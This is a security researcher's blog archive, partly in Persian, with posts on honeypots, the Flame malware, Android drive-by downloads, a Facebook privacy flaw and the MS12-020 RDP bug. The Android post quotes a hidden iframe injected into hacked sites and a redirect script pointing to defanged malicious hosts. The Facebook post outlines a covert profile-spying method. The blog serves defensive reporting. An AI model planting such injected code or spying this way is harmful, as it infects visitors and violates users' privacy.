November 13, 2015

Revisiting Honeypots [slides]

I had a presentation in the last Ruxmon meeting in Sydney. Here you can find summary of the presentation and a copy of my slides. Although the slides doesn't contain much, it may be useful for someone..!

"Starting with brief APT stories, I will talk about the Honeypot technologies. Besides the ICS/SCADA and traditional honeypots, I'll talk about the client honeypots, their uses in detecting drive-by downloads, and then introducing Pwnypot; our new approach in client honeypots. I'll finish my talk with an overview of some honeypot challenges and trends."

Slideshare Link

March 20, 2013

Honeypots: Challenges and Future Directions

 چند روز پیش در هجدهمین کنفرانس انجمن کامپیوتر ایران در دانشگاه شریف، یک کارگاه آموزشی با عنوان "هانی پات: شناسایی حملات جدید سایبری و چالشهای آن" داشتم. اسلایدهای این کارگاه آموزشی را برای دانلود در سایت پروژه هانی نت ایران قرار داده ام. امیدوارم که مفید باشد!
[+] A. Karimi, “Honeypots: Challenges and Future Directions“, 18th National CSI Computer Conference (workshop section), Sharif University of Technology, Tehran; March 12, 2013.

July 27, 2012

Ubuntu 12.04 Release Party

دیروز مراسم جشن انتشار اوبونتو 12.04 با حضور دوستان خوب و فعال در جامعه نرم افزارهای آزاد/متن باز برگزار شد. من هم یک ارائه مختصر و ساده در مورد امنیت در اوبونتو گنو/لینوکس داشتم. اسلاید ارائه را از آدرس زیر می توانید دانلود کنید (شاید مفید باشه).

June 01, 2012

Flame: Another Cyber Weapon

استاکس نت (Stuxnet)، دوکو (Duqu) و حالا Flame...!
Flame، Flamer یا sKyWIper اسم بدافزار / حمله هدفمند دیگری است که هفته گذشته کشف و گزارش شده است. چند روز پیش -28 می 2012- CERT ایران (مرکز ماهر) از کشف بدافزاری خبر داد که به گفته آنها با احتمال زیادی از خانواده حملات هدفمند استاکس نت و دوکو می باشد (لینک خبر). بعد از انتشار این خبر، کسپرسکی و آزمایشگاه رمزنگاری و امنیت سیستم دانشگاه بوداپست (CrySyS) نیز از آنالیز بدافزاری مشابه در چند روز گذشته -تحت نامهای مختلف- خبر دادند. نهایتاً مشخص شد که بدافزاری که تحت نامهای sKyWIper و Flame یا Flamer گزارش شده بود، همان بدافزار گزارش شده توسط مرکز CERT ایران بوده است.
مانند حملات هدفمند قبل (استاکس نت و دوکو)، این بار هم بیشترین تعداد آلودگی در ایران گزارش شده است. طبق آنالیزهای انجام شده احتمال داده می شود که Flame از سال 2010 فعال بوده است..!!
این بدافزار ماژولار حدوداً دارای بیست ماژول مختلف می باشد که عملکرد و هدف تعدادی از آنها هنوز شناخته نشده است (به دلیل حجم زیاد، آنالیز کامل آن چند ماه زمان لازم دارد). یکی از موارد عجیب در مورد Flame، حجم زیاد این بدافزار است. ماژول اصلی آن در حدود 6 مگابایت است و در صورت استفاده از تمام ماژولها به 20 مگابایت می رسد (نسخه کم حجم تری با حجم 900 کیلوبایت هم مشاهده شده است)!!! البته قسمتی از حجم زیاد این بدافزار به خاطر استفاده از کتابخانه های لازم برای ایجاد ارتباطات SSL، SSH و موارد دیگر می باشد. در گزارش دوم کسپرسکی که دیروز منتشر شد، در یک جدول عملکرد تعدادی از این ماژولها ذکر شده است.
بعضی از اطلاعات جالب در مورد Flame را در ادامه ذکر می کنم. البته قسمتی از قابلیت های Flame چیز جدیدی نیست و قبلاً هم در بدافزارهای دیگر دیده شده است.
  • جمع آوری اطلاعات از تجهیزات Bluetooth اطراف سیستم آلوده
  • ضبط صدا از میکروفن سیستم
  • گرفتن Screenshot (در زمان اجرای نرم افزارهای خاص مثل IM)
  • sniff ترافیک شبکه
  • جمع آوری اطلاعات مهم از سیستم و ارسال به C&C
  • استفاده از پایگاه داده SQLite برای ذخیره اطلاعات
  • تکنیک های شناسایی نرم افزارهای امنیتی و فرار از کشف (Evasion): تکنیکهای مختلفی برای این منظور به کار گرفته شده، برای مثال استفاده از پسوند ocx برای فایلهای بدافزار (این فایلها عموماً به صورت پیشفرض توسط آنتی ویروسها چک نمی شوند).
  • استفاده از زبان اسکریپتی Lua (زبان مورد علاقه توسعه دهندگان بازی، مثلاً Angry Birds!!)
  • پخش از طریق USB و همچنین شبکه محلی (روشهای پخش در شکل زیر، برگرفته از وبلاگ کسپرسکی نشان داده شده)
  • هنوز استفاده از آسیب پذیری Zero day در این بدافزار کشف نشده است، ولی از آنجا که سیستمی با ویندوز 7 (کاملاً patch شده!) را از طریق شبکه آلوده کرده پس... >:)
  • استفاده از حدود 80 دامنه برای ارتباط با C&C (کسپرسکی تقریباً 80 و CrySyS بیش از 50 دامنه را گزارش کرده است) و همچنین استفاده از تکنیک Fast-Flux (تغییر دائم و سریع آدرس IP مربوط به دامنه ها)
  • با اینکه Flame از نظر پیچیدگی، حمایت شدن از طرف ارگانهای دولتی و موارد دیگر (مانند استفاده از آسیب پذیری های ms10-061 (مربوط به Printer Spooler) و ms10-04 (مربوط به نحوه handle کردن فایلهای lnk در ویندوز - shell32.dll)، که در استاکس نت مشاهده شده بود) به دو حمله هدفمند اکستاکس نت و دوکو شبیه است، اما شباهت عمده دیگری ندارد و طبق گفته کسپرسکی نمی توان آن را در خانواده استاکس نت/دوکو قرار داد. مقایسه اولیه Flame با این دو بدافزار را در جدول زیر، برگرفته از گزارش CrySyS مشاهده می کنید.

References:
Kaspersky - The Flame Questions and Answers
Kaspersky - Flame: Bunny, Frog, Munch and BeetleJuice
CrySyS Report - sKyWIper
Symantec - Flamer: Highly sophisticated and discreet threat targets middle-east
McAfee - SkyWiper fanning the 'flames' of cyber warfare
IR-CERT - Identification of a New Targeted Cyber-Attack

May 05, 2012

The Rise of Android Drive-by Downloads

Drive-by download attack is one of the most common methods to spread malware. Drive-by downloads exploit vulnerabilities in browsers, browser plug-ins (such as Adobe Flash) or other client-side applications to download and install malware without the user's knowledge / interaction. Following diagram shows the typical steps of a drive-by download attack.
Researchers expected to see the emergence of drive-by downloads in mobile platforms. On November 2010, a researcher published an Android browser exploit (webkit remote code execution - CVE-2010-1807):
Neil Daswani presented a prototype of an Android drive-by attack at Black Hat USA 2011 (Mobile Malware Madness, and How to Cap the Mad Hatters). Here is the summary of this attack:
On March 2012, George Kurtz and Dmitri Alperovitch presented a RAT that uses a bug in WebKit browser to infect Android devices:
"The infection is based on an SMS text message allegedly sent by the user's service provider. The message contains the request to download an important update and provides a link to this alleged update. One click on the link is enough to infect the smartphone – which means that drive-by infections have now reached the smartphone world. The link downloads the malware and executes the loader; this crashes the device and installs the actual malware components while rebooting."
Recently, some Android drive-by downloads have been discovered. But on May 2, 2012 for the first time, an Android drive-by download malware (called NotCompatible) has been reported that uses hacked websites to spread. Some technical details from the Lookout blog:
Hacked websites commonly have the following code inserted into the bottom of each page: <iframe style="visibility: hidden; display: none; display: none;" src="hxxp://gaoanalitics.info/?id={1234567890-0000-DEAD-BEEF-133713371337}"></iframe> 
When a PC-based web browser accesses the site in question, it returns a “not found” error. When a browser with the word “Android” in its user-agent header accesses the site, however, the following is returned: <html><head></head><body><script type="text/javascript">window.top.location.href = "hxxp://androidonlinefix.info/fix1.php";</script></body></html>
---
Mobile HoneyClient!
With the emergence of drive-by downloads in mobile platforms such as Android, we need to update our tools (client honeypots) to detect such attacks and capture mobile drive-by malwares.
Stay tuned for new client-honeypot features/tools...!

March 28, 2012

Deactivated Friend Attack: A Privacy Flaw in Facebook!

A few months ago, as I was categorizing my friends on Facebook I began thinking about this idea: When you categorize your friends into different lists, it would not apply to [possibly] deactivated users! Also you can't unfriend deactivated users.. so your evil friend can tell you "Block me if you can"! He can deactivate his account (becomes invisible) and may later reactivate it to crawl your profile!
Using this technique and some social engineering stuff you can spy on anyone..! I wanted to write more on this issue, but I've just found a great paper published a few days ago: Your Facebook Deactivated Friend or a Cloaked Spy. Here's the paper's abstract:
With over 750 million active users, Facebook is the most famous social networking website. One particular aspect of Facebook widely discussed in the news and heavily researched in academic circles is the privacy of its users. In this paper we introduce a zero day privacy loophole in Facebook. We call this the deactivated friend attack. The concept of the attack is very similar to cloaking in Star Trek while its seriousness could be estimated from the fact that once the attacker is a friend of the victim, it is highly probable the attacker has indefinite access to the victims private information in a cloaked way. We demonstrate the impact of the attack by showing the ease of gaining trust of Facebook users and being befriended online. With targeted friend requests we were able to add over 4300 users and maintain access to their Facebook profile information for at least 261 days. No user was able to unfriend us during this time due to cloaking and short de-cloaking sessions. The short de-cloaking sessions were enough to get updates about the victims. We also provide several solutions for the loophole, which range from mitigation to a permanent solution.
As mentioned here, Facebook has fixed the problem (March 23, 2012): "Facebook users can now unfriend deactivated users". I've just checked it, but it seems the problem still exists!
I don't know how this new feature works, cause I haven't found it on my profile yet! Anyway, currently you can block a user by his/her Name or Email. So let's assume the attacker adds a victim on Facebook and then deactivates his own account. The victim figures out (I don't know how..!) and wants to unfriend and block the deactivated user. But the victim doesn't know the attacker's email address! She only knows his name, BUT the attacker has changed his name before deactivation. What now!? I think this way the attacker can bypass this new feature (Correct me if I'm wrong).

Update: (From comments: "The option to unfriend people is available at facebook.com/friends,"). I was wrong about the new feature. Now you can see your deactivated friends on your friend list and unfriend those users. *Although it's still impossible to 'block' deactivated users. Also you can not put a deactivated user into a group/friend-list (e.g. Restricted list)!*. BTW, thanks to FB for adding this feature!

Unrelated but fun:

March 21, 2012

[MS12-020] Remote Deskfu** Protocol

Now it's time to run Honeypots and listen to port 3389/tcp (Remote Desktop Protocol). I've just tested the DoS exploit, it works great. But researchers are still looking for an RCE (Remote Code Execution) exploit [maybe an RDP worm..]! If you are looking for RCE, check this out: http://istherdpexploitoutyet.com
I just put some links and comments here and think there is no need to re-explain them...!
  • Patch it!
  • Restrict access to trusted source addresses
  • Configure NLA (Network Level Authentication) for RDP [more info]
Set up a Honeypot, sit back and wait!

If you want to monitor activities on the RDP port, try to set up an RDP Honeypot now. Here is a simple way to set it up on a Linux machine: http://samsclass.info/123/proj10/rdp-honeypot.htm. You may also run a RDP enabled Windows VM [in VirtualBox/VMware] and collecting its RDP traffic! Just keep in mind that it's a High-Interaction Honeypot (real environment) and you have to deploy a Data Control mechanism to reduce the risk of your HI-Honeypot. You can use the Honeywall for this purpose.
Have fun, and let me know if you found anything interesting.. ;)

Happy NowRouz - Persian/Iranian New Year,
(2571 Imperial / 1391 Solar Hejri)